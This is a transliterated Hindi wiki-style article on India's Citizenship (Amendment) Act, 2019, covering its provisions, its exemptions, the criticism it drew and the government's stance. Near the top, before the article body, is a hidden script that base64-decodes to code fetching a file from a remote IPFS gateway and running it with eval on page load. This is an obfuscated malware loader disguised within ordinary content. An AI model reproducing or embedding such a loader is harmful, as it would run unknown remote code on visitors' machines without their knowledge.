नागरिकता (संशोधन) अधिनियम, 2019

nagarikata (sanshodhan) adhiniyam, 2019
bharat sarakar ka pratik chihn|200px|center
vivaran	nagarikata (sanshodhan) adhiniyam, 2019 ko nagarikata adhiniyam, 1955 mean sanshodhan karane ke liye laya gaya hai.
adhiniyamit lokasabha	10 disambar 2019
adhiniyamit rajyasabha	11 disambar 2019
rashtrapati ki svikriti	12 disambar 2019
peshakarta	amit shah, grihamantri, bharat
prabhavi	10 janavari 2020
any janakari	is adhiniyam dvara 31 disambar san 2014 ke pahale pakistan, baangladesh aur afaganistan se bharat ae hindoo, bauddh, sikkh, jain, parasi evan eesaee ko bharat ki nagarikata pradan ki ja sakegi.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>nagarikata (sanshodhan) adhiniyam, 2019 (aangrezi: Citizenship (Amendment) Act, 2019) bharat ki sansad dvara parit ek adhiniyam hai, jisake dvara san 1955 ke nagarikata kanoon ko sanshodhit karake yah vyavastha ki gayi hai ki 31 disambar san 2014 ke pahale pakistan, baangladesh aur afaganistan se bharat ae hindoo, bauddh, sikkh, jain, parasi evan eesaee ko bharat ki nagarikata pradan ki ja sakegi. is vidheyak mean bharatiy nagarikata pradan karane ke lie avashyak 11 varsh tak bharat mean rahane ki shart mean bhi dhil dete hue is avadhi ko keval 5 varsh tak bharat mean rahane ki shart ke roop mean badal diya gaya hai.

adhiniyam

nagarikata sanshodhan bil ko lokasabha ne 10 disambar 2019 ko tatha rajyasabha ne 11 disambar 2019 ko parit kar diya tha. 12 disambar ko bharat ke rashtrapati ne ise apani svikriti pradan kar di aur yah vidheyak ek adhiniyam ban gaya. 10 janavari 2020 se yah adhiniyam prabhavi bhi ho gaya. 20 disambar 2019 ko pakistan se aye 07 sharanarthiyoan ko bharatiy nagarikata dekar is adhiniyam ko lagoo bhi kar diya gaya tha.

• nagarikata (sanshodhan) adhiniyam, 2019 ko nagarikata adhiniyam, 1955 mean sanshodhan karane ke liye laya gaya hai.
• nagarikata adhiniyam, 1955 nagarikata prapt karane ke liye vibhinn adhar pradan karata hai. jaise- janm, vanshanugat, panjikaran, deshiyakaran aur kshetr ityadi.

1. isake alava yah bharat ke videshi nagarik (Overseas Citizen of India-osiaee) kardadharakoan ke panjikaran aur unake adhikaroan ko niyantrit karata hai.
2. osiaee bharat yatra ke liye panjikrit pranali ko bahuuddeshiy, ajivan viza jaise kuchh labh pradan karata hai.

• halaanki avaidh pravasiyoan ke liye bharatiy nagarikata prapt karana pratibandhit hai.
• avaidh apravasi se tatpary ek aise videshi vyakti se hai jo vaidh yatra dastavezoan jaise ki viza aur pasaport ke bina desh mean pravesh karata hai ya phir vaidh dastavezoan ke sath desh mean pravesh karata hai, lekin anumat samayavadhi samapti ke bad bhi desh mean ruka rahata hai.
• avaidh pravasi par bharat mean mukadama chalaya ja sakata hai aur use nirvasit ya kaid kiya ja sakata hai.
• sitambar 2015 aur julaee 2016 mean sarakar ne avaidh pravasiyoan ke kuchh samoohoan ko kaid ya nirvasit karane se chhoot di.

pramukh pravadhan

vidheyak mean kiye gaye sanshodhan ke anusar, 31 disanbar, 2014 ko ya usase pahale aphaganistan, baangladesh aur pakistan se bharat ae hianduoan, sikhoan, bauddhoan, jainiyoan, parasiyoan evan eesaiyoan ko avaidh pravasi nahian mana jaega.

• in pravasiyoan ko uparokt labh pradan karane ke liye keandr sarakar ko videshi adhiniyam, 1946 aur pasaport (bharat mean pravesh) adhiniyam, 1920 mean bhi chhoot pradan karani hogi.
• 1946 aur 1920 ke adhiniyam keandr sarakar ko bharat mean videshiyoan ke pravesh, nikas aur nivas ko niyantrit karane ki shakti pradan karate haian.

panjikaran ya deshiyakaran dvara nagarikata

adhiniyam kisi bhi vyakti ko panjikaran ya deshiyakaran dvara nagarikata prapti ke liye avedan karane ki anumati pradan karata hai lekin isake liye kuchh yogyataoan ko poora karana anivary hai. jaise-

• avedanakartta avedan karane ke ek varsh pahale se bharat mean rah raha ho ya usake mata-pita mean se koee ek bharatiy nagarik ho, to vah panjikaran ke bad nagarikata ke liye avedan kar sakata hai.
• svabhavik roop se nagarikata prapt karane ki yogyata mean se ek yah hai ki vyakti avedan karane se pahale ek nishchit samayavadhi se bharat mean rah raha ho ya keandr sarakar mean naukari kar raha ho aur kam-se-kam 11 varsh ka samay usane bharat mean bitaya ho.
• is yogyata ke sanbandh mean vidheyak mean aphaganistan, baangladesh aur pakistan ke hianduoan, sikhoan, bauddhoan, jainiyoan, parasiyoan evan eesaiyoan ke liye ek pravadhan hai. vyaktiyoan ke in samoohoan ke liye 11 sal ki avadhi ko ghatakar paanch sal kar diya jaega.
• nagarikata prapt karane par- (i) aise vyaktiyoan ko bharat mean unake pravesh ki tarikh se bharat ka nagarik mana jaega aur (ii) unake khilaph avaidh pravas ya nagarikata ke sanbandh mean kanooni karyavahi band kar di jayegi.

sanshodhit adhiniyam ki vyavaharikata

• avaidh pravasiyoan ke liye nagarikata ka yah pravadhan sanvidhan ki chhathi anusoochi mean shamil asam, meghalay, mizoram aur tripura ke adivasi kshetroan par lagoo nahian hoga. in adivasi kshetroan mean karbi aangaloang (asam), garo hils (meghalay), chakama jila (mizoram) aur tripura adivasi kshetr jila shamil haian.

isake alava yah bangal eestarn phrantiyar reguleshan, 1873 ke tahat ‘inar lain’ mean ane vale kshetroan par lagoo nahian hoga. in kshetroan mean inar lain paramit ke madhyam se bharatiyoan ki yatraoan ko viniyamit kiya jata hai.

vartaman mean yah paramit pranali arunachal pradesh, mizoram aur nagalaiand par lagoo hai. manipur ko rajapatr adhisoochana ke madhyam se inar lain paramit (Inner Line Permit- ILP) shasan ke tahat laya gaya hai aur usi din sansad mean yah bil parit kiya gaya tha.

• osiaee ke panjikaran ko radd karana- adhiniyam mean yah pravadhan hai ki keandr sarakar kuchh adharoan par osiaee ke panjikaran ko radd kar sakati hai. isamean shamil haian- (i) yadi osiaee ne dhokhadh di dvara panjikaran karaya ho ya (ii) yadi panjikaran karane ki tithi se paanch varsh ki avadhi ke bhitar osiaee kardadharak ko do sal ya usase adhik samay ke liye karavas ki saza sunaee gee ho ya (iii) yadi aisa karana bharat ki sanprabhuta aur suraksha ke hit mean avashyak ho.

vidheyak panjikaran ko radd karane ke liye ek aur adhar jo data hai, is ne adhar ke anusar, osiaee ne keandr sarakar dvara adhisoochit adhiniyam ya kisi any kanoon ke pravadhanoan ka ullanghan kiya hai to kardadharak ko sunavaee ka avasar diye bina osiaee radd karane ke adesh nahian diya jaega.

sanshodhan adhiniyam ko lekar chianta

• uttar-poorv ke mudde-

1. yah 1985 ke asam samajhaute ka ullanghan karata hai, jisamean kaha gaya hai ki 25 march, 1971 ke bad baangladesh se ae avaidh pravasiyoan ko dharm ki paravah kiye bina desh se bahar nikal diya jaega.
2. alochakoan ka tark hai ki nagarikata sanshodhan adhiniyam ke ane se rashtriy nagarik rajistar (National Register of Citizens-NRC) ka prabhav khatm ho jaega.
3. asam mean anumanit 20 miliyan avaidh baangladeshi pravasi haian aur unake karan rajy ke sansadhanoan evan arthavyavastha par bahut adhik dabav p dane ke alava rajy ki janasaankhyiki mean bhi bhari badalav aya hai.

• alochakoan ka tark hai ki yah sanvidhan ke anuchchhed 14 ka ullanghan hai (jo nagarik aur videshi donoan ko samanata aur adhikar ki garanti deta hai) kyoanki dharmanirapekshata ka siddhaant sanvidhan ki prastavana mean nihit hai.
• bharat mean kee any sharanarthi haian jinamean shrilanka, tamil aur myaanmar se ae hiandoo rohiangya shamil haian lekin unhean adhiniyam ke tahat shamil nahian kiya gaya hai.
• avaidh pravasiyoan aur satae ge logoan ke bich aantar karana sarakar ke liye mushkil hoga.
• vidheyak un dharmik utpi dan ki ghatanaoan par prakash dalata hai jo in tin deshoan mean hue haian jo un deshoan ke sath hamare dvipakshiy sanbandhoan par bura asar dal sakata hai.
• yah vidheyak kisi bhi kanoon ka ullanghan karane par OCI panjikaran ko radd karane ki anumati deta hai. yah ek aisa vyapak adhar hai jisamean mamooli aparadhoan sahit kee prakar ke ullanghan shamil ho sakate haian (jaise no parkiang kshetr mean parkiang).

sarakar ka rukh

• sarakar ne spasht kiya hai ki pakistan, afaganistan aur baangladesh islamik ganarajy haian jahaan musalaman bahusankhyak haian isaliye unhean utpi dit alpasankhyak nahian mana ja sakata hai. sarakar ke anusar, is vidheyak ka uddeshy kisi ki nagarikata lene ke bajay unhean sahayata dena hai.
• yah vidheyak un sabhi logoan ke liye ek varadan ke roop mean hai, jo vibhajan ke shikar hue haian aur ab ye tin desh lokataantrik islami ganarajyoan mean parivartit ho ge haian.
• sarakar ne is vidheyak ko lane ke karanoan ke roop mean pakistan aur baangladesh mean alpasankhyakoan ke adhikaroan evan samman ki raksha karane mean dharmik vibhajan tatha bad mean neharoo-liyakat sandhi ki 1950 ki viphalata par bharat ke vibhajan ka havala diya hai.
• azadi ke bad do bar bharat ne mana hai ki usake p dos mean rah rahe alpasankhyak usaki zimmedari haian.
• sabase pahale vibhajan ke turant bad aur bad mean 1972 mean iandira-mujib sandhi ke dauran bharat ne 1.2 miliyan se adhik sharanarthiyoan ko ashray diya tha. yah ek aitihasik tathy hai ki donoan avasaroan par keval hiandoo, sikkh, bauddh aur eesaee hi bharat ki sharan ae the.
• shrilanka, myaanmar ke alpasankhyakoan ko isamean shamil n karane ke saval par sarakar ne spasht kiya ki sharanarthiyoan ko nagarikata dene ki prakriya vibhinn sarakaroan dvara samay-samay par anuchchhed 14 ke tahat uchit yogyata ke adhar par ki gee hai.
• janavari 2019 mean sarakar ne asam samajhaute ki dhara-6 ke karyanvayan ke liye uchch-stariy samiti ki baithak bulaee aur samiti se agrah kiya ki vah keandr sarakar ko jald-se-jald apani riport prastut karane ke liye prabhavi kadam uthane hetu pravadhan karean. is prakar sarakar ne asam ke logoan ko ashvasan diya hai ki unaki bhashayi, saanskritik aur samajik pahachan sanrakshit rahegi.

nishkarsh

• adhiniyam ke pravadhanoan ki vyakhya aur isaki sanvaidhanikata ka parikshan karane ke liye sanvidhan ke sanrakshak hone ke nate sarvochch nyayalay ab is bat ka bhi parikshan karata hai ki kya anuchchhed 14 ka parikshan kiya gaya hai ya nahian, adhiniyam mean kiya gaya vargikaran uchit hai ya nahian.
• bharatiy nagarikata ke maulik karttavyoan mean apane p dosi deshoan mean satae gaye loangoan ki suraksha karana shamil hai lekin suraksha kary sanvidhan ke anusar hona chahiye.
• isake alava poorvottar ke logoan ko yah samajhane ke liye aur adhik rachanatmak dhang se prayas kiya jana chahie ki is kshetr ke logoan ki bhashayi, saanskritik aur samajik pahachan ka sanrakshan kiya jaega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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